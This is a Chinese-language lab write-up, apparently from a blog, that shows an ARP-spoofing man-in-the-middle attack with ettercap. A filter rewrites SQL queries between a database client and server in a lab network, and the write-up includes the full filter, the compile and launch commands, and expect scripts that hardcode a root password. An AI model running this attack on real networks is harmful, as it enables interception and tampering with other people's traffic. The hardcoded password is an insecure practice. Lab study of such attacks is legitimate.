情景:
兩臺主機A(IP:192.168.44.132)和B(IP:192.168.44.134)
分別作爲數據庫服務器和客戶端。
另一主機C作爲中間人進行ARP攻擊。主機C上已安裝ettercap並啓用ip轉發。
攻擊內容:
在客戶端和服務器建立連接後,截獲客戶端發給服務器的SQL語句,並修改其中字段,重新轉發給服務端。然後看服務端是否能返回被修改過後的語句執行結果。
過濾文件:
過濾文件changeStr.txt內容,就是簡單的將"TEST2"字段替換爲"TEST1"。
if (ip.proto==TCP)
{
replace("TEST2","TEST1");
}
編譯過濾文件:
過濾文件需要先進行編譯。編譯語法實例:sudo etterfilter changeStr.txt -o changeStr.filter
這裏我寫了一個腳本來執行。
用於編譯的腳本compile.sh的內容:
(注意:執行這個腳本需要先安裝expect
安裝過程我在這篇博文裏面有記錄:https://blog.csdn.net/shimadear/article/details/93972559)
#!/usr/local/bin/expect -f
#set timeout 20 #設置超時時間
spawn sudo etterfilter changeStr.txt -o changeStr.filter
expect {
"*密碼" {send "123456\r"}
"*password" {send "123456\r"}
}
interact
這裏面"123456"表示root用戶密碼,按情況改寫。
運行:
運行過程包括ettercap的啓動,過濾文件的加載,運行後被攻擊的兩臺主機發送的數據包就都按過濾文件的內容進行替換。
運行語句實例:sudo ettercap -T -q -M arp:remote /192.168.56.102// /192.168.56.105// -F changeStr.filter
同樣也寫了腳本來執行。run.sh內容:
#!/usr/local/bin/expect -f
#set timeout 20 #設置超時時間
spawn sudo ettercap -T -q -M arp:remote /192.168.44.134// /192.168.44.132// -F changeStr.filter
expect {
"*密碼" {send "123456\r"}
"*password" {send "123456\r"}
}
interact
查看結果:
在連接到的數據庫實例中有表TEST1和表TEST2,TEST1記錄條數爲1條,TEST2記錄條數爲2條。
在客戶端與服務器建立連接之後,中間人進行攻擊之前,客戶端提交SQL語句"SELECT COUNT(*) FROM TEST2;" ,正常返回結果爲2。而在中間人攻擊之後,再次執行語句"SELECT COUNT(*) FROM TEST2;",可以看到返回結果爲1,而這正是表TEST1的記錄條數。說明攻擊成功。